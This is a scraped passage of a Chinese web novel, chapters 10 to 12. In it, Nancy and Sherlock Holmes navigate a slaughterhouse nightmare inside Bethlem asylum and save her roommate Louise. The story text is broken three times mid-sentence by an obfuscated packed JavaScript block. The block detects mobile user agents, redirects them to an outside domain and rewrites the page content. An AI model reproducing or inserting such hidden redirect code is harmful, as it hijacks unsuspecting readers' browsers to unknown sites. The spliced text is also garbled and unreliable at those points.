显然工作人员也不知道那行“有门路”是什么意思,她递来牌子的手迟疑片刻。 没收回,也没往前送。 这就是有戏啊! “不然你问问你上司吧,”南希鼓起勇气,“别弄混——” 后面的话,被一声凄厉尖叫打断。 是个女人。 惨叫让南希打了个哆嗦,连所有的工作人员都循声扭过头。 体重秤后方的场景缓慢亮了起来,南希这才看到,在厂房另外一端,一个宽敞大门上写着“屠宰间”一行字。 声音就是从那里传出来的! 惨叫过后,又是一句尖利咒骂。 那是句外语,呼喊人含混不清,南希压根听不懂。 但这是人的声音! 这些无脸人连嘴都没有,当然发不出任何声响。所以这连尖叫带骂人的肯定是活人。 难道是另外一名闯入梦境的人? 远处的咒骂过后,紧接着而来的是一声耸人听闻的闷响。 像是什么重物砸碎了皮肉和骨头,紧接着“咚”的一声,惨叫和咒骂全部消失了。 偌大的厂房,再次陷入死一般的寂静。 这沉默的氛围让南希心里有些发毛:发生什么了? 片刻过后,“屠宰间”内,传来另外一道声音。 “来人。” 是个男人,言辞含混不清,像是舌头恨不得甩出了嘴巴那般,“打扫干净。” 屠宰间附近,几名负责清洗水槽的工作人员,立刻拎起扫帚冲了进去。 “这几个人怎么够,”门内的人又开口,“再来几个!” “听见了吗,人手不够,”南希抓住机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322502|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我有门路,我立刻就能上岗。” 拿着牌子的工作人员,终于不再犹豫。 她收回手中的牌子,转身将体重秤边的扫帚递给南希—— 和上次绳索间,南希拿起来抽打戈尔登小姐的居然一模一样。 南希顿时哭笑不得:估计这扫帚,也是贝特莱姆精神病院统一进购的了! 在这诡异的氛围里,同款扫帚居然凸显出几分黑色幽默来。 但情况不允许南希继续纠结卫生工具了,她生怕无脸的工作人员返回,拎着扫帚,尾随着几名打扫卫生的无脸人,小跑进入屠宰间。 一进门,浓郁的血腥味扑面而来。 地面湿滑,血水、清水和油脂混在一起,不住往四周延展流淌。南希踩在黏糊糊的铁板上打了个踉跄,勉强稳住了身躯。 屠宰间的环境比外头更为潮湿,空气中全是黏糊糊的血味。 她的头顶挂着铁轨,几个空余的铁钩摇摇晃晃。 一具尸体被走下来的“屠夫”扯住了腿。 那是路易斯·施密特。 南希一眼就认出来了,这是她的室友! 触及到那头金色卷发时南希就心中一突,而路易斯的半边脸已经被彻底敲碎,头部塌陷、皮肉翻卷,左边的眼珠子完全被敲爆出眼眶,悬挂在脸边。右边的面孔更是扭曲恐惧,死之前仍然瞪着双眼。 刚刚尖叫咒骂的就是路易斯。 而屠夫—— “快点打扫干净。” 他穿着的,是医生外套,只是整洁衣物上溅满殷红血迹。只是那脖子以上,却有着一张青蛙的脸。 鼓胀的面部褶皱瘤子挤压堆积,一双眼睛更是凸出得吓人。 他一开口,大嘴中吐出长而湿滑的舌头,催促清洁工,“别耽误工作。” 这声音是登特医生。 而且青蛙医生穿的,就是白日登特医生的那身外套。 所以,这是梦境的主人,将白天的情况和其他记忆混在一起了? 那么又为什么是屠宰场? 南希低着头向前,跟随其他无脸人一起走到屠宰间中央。 登特医生拖走了路易斯的尸体,一道乌黑血痕停留在地面。一个无脸人拿来水管,南希走在最后,准备学着其他工作人员的方式拿起扫帚。 没人发现她是混进来的。 她暗自抬眼,试图从屠宰间找到什么蛛丝马迹:眼见着登特医生将路易斯的尸体拽上了流水台。 可恶。 路易斯·施密特是闯入者吗? 如果是,那南希完全没有时间救她,还是说她就不该在外和工作人员“交谈”? 上个关卡的通关条件是救下戈尔登小姐,那么这次呢?若是要求救下路易斯,那岂不是一开始就失败—— 等等。 南希骤然觉得不对劲。 一股莫名的含义顺着腰椎闪电般直窜脑门,她打了个寒战,本能地扭过头。 她站在所有清洁工队尾,后面本应空荡荡。 而现在,一个白瓷娃娃紧贴着她的脚后跟。 白日就放在登特医生办公桌的瓷娃娃,毫无征兆地出现在南希背后。它就这么坐在地上,精致洁白的模样与满是血污和臭气的屠宰间格格不入。 那个娃娃正用绘制上去的碧蓝眼睛看着南希。 而后,它发出了尖细到令人心理不适的声音。 “不对呀,”它说,“你为什么有脸?” “……” 不好! 南希退后半步,而后就看到整个室内的无脸人,全部将面孔转向了她。 11.第二夜(三) 011 流水台前的登特医生,直接将凸出的眼球转了过来。 他好似没有认出南希,却发现了她有着五官。登特医生垂在外头的舌头在半空中甩动,黏答答的口水不住下落。 “你是怎么混进来的?!” 青蛙咆哮道,“抓住她!” 下一刻,所有无脸人统一放下了手中的扫帚。 南希二话不说,掉头就跑! 临走前她还不忘记踢了身后的玻璃娃娃一脚。 去你的吧!什么鬼玩意。 玻璃娃娃倒下,铿锵声响和惨厉尖叫。现实中的登特医生对自己的收集品很是仔细,梦境中南希踹了娃娃,青蛙更是暴怒地在流水台跳高。 他直接拎着锤子冲了下来:“我要宰了这个贱()人,还愣着干什么!” 眨眼的功夫,南希已经冲到了屠宰间内侧的一扇门。 当然不能原路折返了! 外头就是圈舍,还有负责登基收容“牲畜”的工作人员,怎么想都是一条死路。与此找死不如搏一博,南希直接撞开双开的正门,并在身后的追兵杀过来之前,转身用手中的扫帚别住两扇门的门把手。 与此同时,南希紧盯着门把手的视野中浮现出了一行字体。 【支线任务:拯救路易斯·施密特已失败,支线奖励已作废。】 啊? 南希一愣:所以路易斯真的是闯入者,而且,救下她不是通关条件,而是支线任务。 但她一来,路易斯就在梦中“死”了呀! 不管了! 身后稀里哗啦接连作响,似是几名清洁工悉数撞在了门上。 “一群吃干饭的废物!”登特医生还在门内辱骂,“你们眼睛是瞎的吗,连混进来个有脸的都不知道?!” “……” 她们都没有脸,当然是瞎的啊! 在这种环境下未免也太黑色幽默了,南希拎着裙摆拔腿就跑,还忍不住回头看了一眼大门。 “咚!” 一声震天响,登特医生的锤子击中大门,紧闭的铁门当场凹下去一块。 拦不住多久的,她得想办法—— “南希女士!” 什么? 前方突如其来的声音,让南希错愕扭头。 她的注意力集中在背后大门上,全然没有注意到前方何时出现了一道人影。 现在刹车已经来不及了。 南希直接撞到了对方的胸膛,她抬起眼,迎上歇洛克·福尔摩斯清明的双眼。 侦探虽然瘦削,但相当有力量。高挑的青年后撤半步稳住身形,牢牢将南希扶在怀里。 福尔摩斯当机立断开口:“失礼了。” 南希:“啊?” 她还没反应过来,一只有力的臂弯就环住了南希的腰,直接将她半揽半抱,扯进了旁边的柜子里。 而后屠宰间的正门一声巨响,被锤子砸开。 歇洛克·福尔摩斯眼明手快,关上了柜门。 呃,这是什么经典恐怖片桥段啊! 她当机立断捂住口鼻,争取不在柜子里发出任何声音。只是这幽闭空间太过狭窄,南希基本上是趴在歇洛克·福尔摩斯的怀里,哪怕是捂住嘴巴,侦探身上的须后水气息也透过指缝深进鼻腔。 是薄荷味的,清爽干净。 在这弥漫着血味和臭气的屠宰场,真是瞬间拯救了南希的嗅觉。 她控制不住放下手,深深一嗅—— 福尔摩斯:“……” 弯腰之后后脑勺还顶在柜顶的侦探不禁垂眸,在南希头顶轻挑眉梢。 南希聚精会神注意着外面的动静。 柜门之外传来急促的脚步声,和锤子拖地的哗啦啦声响。当一行怪物路过柜子时,南希觉得自己的心跳都要跳出来了。 “快追,这贱()人,怎么跑的这么快。” 青蛙气喘吁吁追在后面,声音越来越远。 谢天谢地! 南希长舒口气,看来电影和游戏里的藏柜子定律,在梦境中也管用。 “他们走了,先生。”她低声开口。 “你可以放开我的衣领了,南希女士。”福尔摩斯平静开口。 南希这才低头,发现自己一只手抓着歇洛克·福尔摩斯的衣襟,脑海半埋在他的衣领之间。而侦探的手则始终拢在自己的腰际。 ——刚刚她深吸口气,鼻尖恰好停在福尔摩斯的脖颈与衣领之间。 福尔摩斯侧了侧头:“闻完了吗?” 南希:“……” 侦探面无表情地推开柜子门,屠宰场的恶臭顿时扑面而来:“没想到须后水还能如此作用,我的荣幸,南希女士。” 南希:“…………” 可恶啊! 她讪讪松手,先行一步,跳出狭窄的柜子。 “没想到护工还能用得起这么昂贵的须后水,史密斯先生。”南希着重喊出他的假名。 向来冷淡的福尔摩斯,深邃眉眼之间难得浮现出明晰的笑意。 这是在回敬他呢,“约翰·史密斯”是个假身份,二人心知肚明。 “这里不是说话的地方,”福尔摩斯后一步落地,“跟我来。” 从屠宰间出来,又是一道长廊,经过某扇铁门时,空气中的恶臭和血腥味道浓郁到险些让南希直接吐出来。但侦探并没有停下步伐,而是继续向前,在恶臭散去大半的位置,推开了尽头的房间。 一进门,南希顿时懂了。 门外是血腥的屠宰场,门内却是迥然不同的场景。 办公桌、白帘子,还有那铺着脏污床单的病床。 这是登特医生在白天的诊室! “在贝特莱姆精神病院,清洁工没有许可,是不能进入诊室的,”福尔摩斯解释,“而非问诊时间,医生也不会进来。” 所以无脸人进不来,而刚刚撞见医生,他正在当屠夫,应该也不会回来。 登特医生的诊室,反而暂时是安全的。 “我睁眼时,发现身处诊室门前,”福尔摩斯说,“没走多远就听到了登特医生大喊。” 南希有些心里不平衡了。 凭什么她险些直面屠宰现场,福尔摩斯则在走廊上安安全全的啊! 也许是南希的表情过于明显,大侦探的眉梢一挑:“在这种情况下,碰到事件和敌人才是幸运的,女士。” 说得轻巧,那换你被追杀。 南希在心中嘀咕一句,嘴上却是直奔正题:“倒是碰到了不少‘事件’。” 和上次一样,她将白日的经历,外加闯入梦境之后的情况全部转述给福尔摩斯。 侦探在诊室中央来回踱步,听到最后,他干脆向后一仰,栽进登特医生的椅子上。 “有意思。” 福尔摩斯双手合十,兴致勃勃地勾起嘴角,“今夜的关卡是屠宰场,这本就透露了很多线索。” “梦中的场景非常细节,且有逻辑,”南希说,“所以梦境的主人大概率见过现实中的大型屠宰场。” 人类的大脑不能构造出没见过的事物,根据绳索间关卡来看,他们闯入的梦境也是一样。 而屠宰场的一切都是合理的:“牲畜”运送过来,要先行登记、分类,送到各个圈舍当中。屠宰间的钩子、血槽,还有流水台,都与现实中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324626|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大差不离。 “不是什么人都能了解到大型屠宰场的工序。”南希总结,“这与她的经历有关。” “你的分析合情合理,南希女士。” 福尔摩斯颔首肯定,“以及,登特医生是屠户出身。” 南希:“什么?!” 不怪她惊讶,要知道十九世纪的医生可不是这么容易当的!一般医生都家境优渥,至少是中产阶级。 好吧,若是家中能开得起大型屠宰场,那登特医生的家族确实有钱。 “医生始终为此自卑,很少有人知道这件事,”福尔摩斯说,“除了贝特莱姆中的职工,以及精神病院的长期住户。” 这两条信息确实关键。 所以梦境主人大概率是名女性,出于某种经历深入了解过大型屠宰场,并且是精神病院的老资历。 这几个信息列出来再进行排查,要容易得多。 还有…… “那个白瓷娃娃。” 南希点出自己暴露的关键,在屠宰场这种环境下,开口说话的瓷娃娃真的让南希毛骨悚然,“它的出现很奇怪。” 福尔摩斯将合十的指尖凑到自己下颌,他侧了侧头:“我也没想到,梦境主人会认定瓷娃娃会如此重要。” 重要到它甚至在梦境中起到警示登特医生的作用。 为什么? 就算平日登特医生对其呵护有加,说到底也是个桌摆件……还是个赝品。 梦境主人认定它很重要的原因是什么? 如果这次出现警告,那么下次还会不会再出现?能不能提前摆平它? 无数思绪在南希脑内展开。 “先生,”她想了想,做出决定,“我认为有必要重新回档。” “为了白瓷娃娃。”福尔摩斯立刻明白了南希的意思,“这很值得。” “也为了路易斯。”南希补充。 戈尔登小姐出现在绳索间,是因为现实中她被送往了绳索间。 那么路易斯出现在屠宰场,会不会也有特定的理由?技能卡升级后得到的德语翻译能力这就派上用处了。 而且只能在梦境中用,毕竟现实中白教堂区的贫民会德语是一件很奇怪的事情。 说不定能从梦里套出有用的信息。 光这就值得南希尝试了,更何况救下她还有支线奖励拿。 就是…… “你能帮帮我吗,”南希为难地看向福尔摩斯,“自己寻死还是挺困难的。” 决定回档是一回事,主动送死则是另外一回事。 她可不想直面登特医生的铁锤! 迎上南希求助的视线,歇洛克·福尔摩斯一勾嘴角。 “毋须担心,南希女士,”他慢吞吞出言,“我们是在梦中,不去寻找危险,危险也会找上你……别忘了,刚刚你已经点出了这次的关键。” 南希蹙眉:“你的意思是?” 福尔摩斯抬手一指。 她循着他的指示看过去—— 身后的书柜里,刚刚还空空荡荡,而当南希扭头,那白瓷娃娃不知道何时出现在了架子上,用绘制上去的蓝眼睛,直勾勾地盯着南希。 南希:“……” 而后那瓷娃娃爆发出尖锐到刺耳的叫喊。 “你们为什么有脸?!” 它大喊道,“为什么会闯入在这里?” 是啊,清洁工进不来、登特医生没空来,但不代表着娃娃不会进门。 南希被刺耳的尖叫震到后退,紧接着反锁的办公室大门外,传来震天动地一声响。 房门被直接踹开,那生着满脸瘤子的青蛙,甩着舌头冲了进来。 12.第二夜(四) 012 房门被直接踹开,那生着满脸瘤子的青蛙,甩着舌头冲了进来。 “浑水摸鱼的婊()子,别以为我治不了你!” 他张开血盆大口,南希甚至都能嗅的到青蛙医生身上的腥臭。怪物高高举起手中的锤子,朝着她挥过来—— 南希闭上眼睛。 没有疼痛,没有摔倒,她就像是在梦中晃了个神,尖叫和咒骂瞬间消失,一切重归寂静。 嗯? 做好准备的南希这才睁眼。 眼前的场景发生了变换,登特医生的诊室和高举锤子的怪物不见了。取而代之的是黑红地砖和空荡荡的铁钩。这就是梦境开始的地方。 她就这么回档成功了。 仔细想想上个关卡也是,一旦格兰迪夫人的脓包抓住自己,梦境就会自动回档,南希并没有受到任何实质性的伤害。 还,还挺人性化的! 她抬起眼,漂浮在空中的字幕同时发生了变化。 【副本:贝莱特姆精神病院,当前关卡:屠宰场。】 【角色:南希。】 【目前死亡次数:3。】 南希想了想:“我还有个支线任务,以及,通关要求是什么?” 系统可是升级了用户指引功能的! 果不其然,她话音落地,眼前的字幕再次刷新。 【当前支线任务:拯救路易斯·施密特,待完成。】 【当前关卡通关要求:寻找梦境的主人。】 什么? 南希看到最后一行字时愣了愣,而后忍不住心中欢呼一声。 好啊!怪不得之前不给通关要求,这相当于给她剧透了。 所以梦境的主人大概率也在这个梦里!或者,至少能够确认对方身份的关键信息在。 虽然还不知道找到梦境主人后有什么用、能不能继续阻止噩梦发生,或者说,彻底解决贝特莱姆精神病院的异常问题。但这可是南希和歇洛克·福尔摩斯手中唯一的线索了。 破关势在必行,南希在心中想,但现在重要的是救下路易斯。 南希回想一圈回档前的全部流程,心中大概有了方案。 她干脆利落迈开步子,推开了屠宰场的正门。 路易斯也是闯入梦境的人,只是她的刷新地点不是很好。上次南希冲进屠宰间时为时已晚,这次不能再浪费时间了。 尤其是不能像上次一样,在圈舍乖乖排队等待上称。 “让一让,麻烦让一让。” 于是南希再看到那冗长又慢吞吞,挨个上称、登记,并且分类进入圈舍的无脸人长队时,直接做出轻松语气出言:“我有急事,请让开。” 她的态度太过自然,排队的无脸人纷纷自然而然让开。 南希就这么冲到了队伍最前面。 走到体重秤前时,所有的工作人员都“看”向了她。 第一次被无脸人“盯”上时,南希还觉得心里毛毛的。但现在反而成为了优势——这些家伙没有眼睛,如果不是白瓷娃娃提醒,根本没发现南希和她们之间的区别。 所以她压根不用扮演“牲畜”。 “我的扫帚呢?” 南希自顾自发言,她环视四周,而后锁定住体重秤边的扫帚。 见无脸人没有反应,南希试探性上前,拿起了扫帚。 “登特医生派我去打扫诊室,特别叮嘱别打扰他工作,”南希又问,“所以我不能去屠宰间,我该怎么走?” 显然梦境的主人对登特医生有着相当程度的了解,在当前关卡,登特医生的命令是绝对的。 因此南希的提问合情合理,拿着登记册的无脸人迟疑了片刻,空白的面盘转向了登记台的左侧。 南希这才注意到,在登记台尽头、一处圈舍的后方,还有一扇紧闭的房门。 上次听到尖叫她就随着其他清洁工冲进屠宰间,完全没注意到这里还有出入口。 有了! 南希悄悄欢呼一声,她拎着扫帚就走向了房门。 这处房门并没有锁死,南希稍稍一推,就看到了回档之前与歇洛克·福尔摩斯躲避的那个柜子。 是通往诊室的走廊。 南希生怕无脸人发现情况不对,她飞快步入走廊,重新关闭房门。 再往诊室走了几步,果然看到了熟悉的身影。 “史密斯先生!” 南希拎着扫帚小跑上前,歇洛克·福尔摩斯好似刚刚站定,他退后半步抬头,触及到南希的身影,浅色眼眸中的锐利和戒备才散去大半。 侦探上下扫了南希一眼:“你已经经历过了一次‘死亡’,女士。” 南希:“你怎么知——” 算了,他可是歇洛克·福尔摩斯,他知道什么都不奇怪! 时间紧迫,没时间让名侦探炫技解说基本演绎法的过程了,南希点头,而后迫不及待地将上次回档的经历转述给福尔摩斯。 “……就是这样,先生。”南希叙述完毕,果断总结,“我要救下路易斯,一是为了奖励,二则她是精神病院的老住户,对女病号区有深入了解,可以打探情报。你介意分头行动吗?” 福尔摩斯侧了侧头。 南希没有留给他任何思考的时间,但侦探依旧顺畅地跟上了她的思路。 “你要利用娃娃。”他笃定开口。 南希扬起笑容。 和聪明人说话就是省时省力啊!一个问题,就足以让福尔摩斯了解自己的计划。 “相当完美的计划,南希女士,”歇洛克·福尔摩斯毫不吝啬自己的欣赏,“行动吧。” “请你务必小心,先生。”南希叮嘱。 “放心。” 福尔摩斯把头顶的八角帽摘了下来,一副做足准备的姿态,“再危险的梦境,也不过是人性的投射,它不会比人类本身更难琢磨。” 说着,瘦削的青年迈开长腿。 南希:“……” 好装啊! 道出这番话的侦探可谓嚣张,但谁叫他是歇洛克·福尔摩斯来着?此话出口,莫名就让南希放下心来。 都福尔摩斯了,相信他。 因而南希赶忙追上,但她的目标可不是与歇洛克·福尔摩斯同行。 这条走廊,尽头一端是屠宰间,另外一端是诊室,中间还有一扇散发着恶臭的铁门,铁门的前方,是几个空柜子。 歇洛克·福尔摩斯径直推开了那扇散发着恶臭的铁门,头也不回地走了进去。 他开门的瞬间,那呛人的血污气息让南希忍不住干呕出声。她赶忙捂住嘴巴,三步并做两步,冲进柜子,藏了起来。 两个人藏在其中时拥挤不堪,而南希一人站在里面,又有些空空荡荡。 她刚刚站定,就听到那扇铁门之后,发出铿锵一声巨响! 躲在黑暗之中南希吓得心理一个咯噔。 像是什么重物砸在了金属上,那巨响隔着墙壁都清晰可见。而下一刻,果然熟悉的尖叫从铁门后响起。 “你是谁?” 是白瓷娃娃。 “为什么有脸?!” 就是这样! 南希简直无法掩饰自己脸上的笑容——反正在柜子里谁也看不见。 白瓷娃娃太诡异了,几乎是凭空出现的,两次冒头完全没有征兆。 但娃娃也不是没有机制可寻。 它会抓住“闯入者”,并发出警告,从而将青蛙医生和无脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329099|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人引去出手袭击。但娃娃本身没有任何能力,南希之前还踹了它一脚呢。 所以接下来就是—— “哐当”巨响震天动地,远处屠宰间的房门打开。 青蛙医生吐着舌头、含糊不清的嘶吼回荡在整个长廊之上。 “有闯入者!你们一群废物,连有没有脸都看不到吗,瞎子!聋子!哑巴!” 他咆哮着冲上前,踩得地板咚咚咚震颤。有了上次的经历,南希捂住口鼻的手更紧了一些。 可惜这样也没能拦住青蛙医生身上的恶臭钻进鼻腔,呕。 她现在有些想念福尔摩斯身上的薄荷须后水味道了! 浩浩荡荡的医生和无脸人队伍冲进铁门,南希透过柜门缝隙,确认长廊安静下来,才走出柜子。 希望福尔摩斯能躲过一群怪物的追杀。 南希在心中嘀咕,而后飞奔进入屠宰间。 一推开门,浓重的血腥味仍然让南希屏住呼吸,她鼓起勇气看向地面—— 是干净的。 没有尸体,没有血污,地上湿漉漉但干净的水渍让南希长舒口气。 太好了,应该赶上了! 得抓紧时间,不知道福尔摩斯能坚持多久。南希当机立断,点开了【卡组】中《大小姐的学识》技能卡。 这次使用技能卡后,视野里没有任何变化。 当然了!银行家的女儿可没来过屠宰场,但南希却觉得脑子一个激灵,她想也不想,德语脱口而出。 “路易斯?”南希低声喊道。 “什……什么,是南希吗?” 同样是德语,自角落中响起。 南希直接冲了过去。 就在大理石台后方,她找到了被五花大绑的路易斯·施密特。白日里因为语言不通而沉默寡言的室友,正用无比震惊的目光盯着南希。 “你,你怎么会德语?”路易斯愕然出言,“不对,你怎么在这里,我们在哪里?” “没时间了,我一会儿给你解释。” 南希蹲下()身,手忙脚乱解开路易斯身上的绳索,“还能走吗?” 路易斯揉了揉手腕脚腕,利索地站起来,目光灼灼:“去哪里?” 是个干脆利落的人。 因为没和路易斯交谈过,南希倒是没料到这位德国姑娘居然如此冷静。想也是了,上次回档前,她到临死还在疯狂咒骂而不是哭泣,可见性格刚烈勇敢。 碰到好队友,不错。 南希拉着她走出大理石台,先行把手中的扫帚横插到双开的门把手上。 “跟我来。” 若是歇洛克·福尔摩斯甩开了青蛙医生,他肯定会搜索诊室之外的其他房间。用扫帚反锁住屠宰间的门,也能拖延一些时间。 于是南希带领路易斯走向圈舍,又从刚刚登记台边的房门绕回走廊。 右手边就是诊室,她推门进入,而路易斯在看到诊室的布置时明显变了脸色。 她也是被登特医生骚扰过的。 “究竟怎么回事?!”等到南希虚掩诊室房门,路易斯迫不及待出言,“这,这不是……我们还在精神病院内吗?” “再等一下。”南希冷声开口。 她看也不看路易斯,直接冲去书柜边的架子! 关门前南希特地扫了一眼,那架子上还空空荡荡。 而不过是转身关门的功夫,白瓷娃娃就悄无声息地出现在了架子上方。 但是—— 谁叫南希能够回档来着?同样的招数她不会翻车两次的! 她一把抓住那精致但惨白空洞的娃娃,高高举了起来。 “你再叫一声试试,”南希恶狠狠威胁道,“我就把你直接摔了。”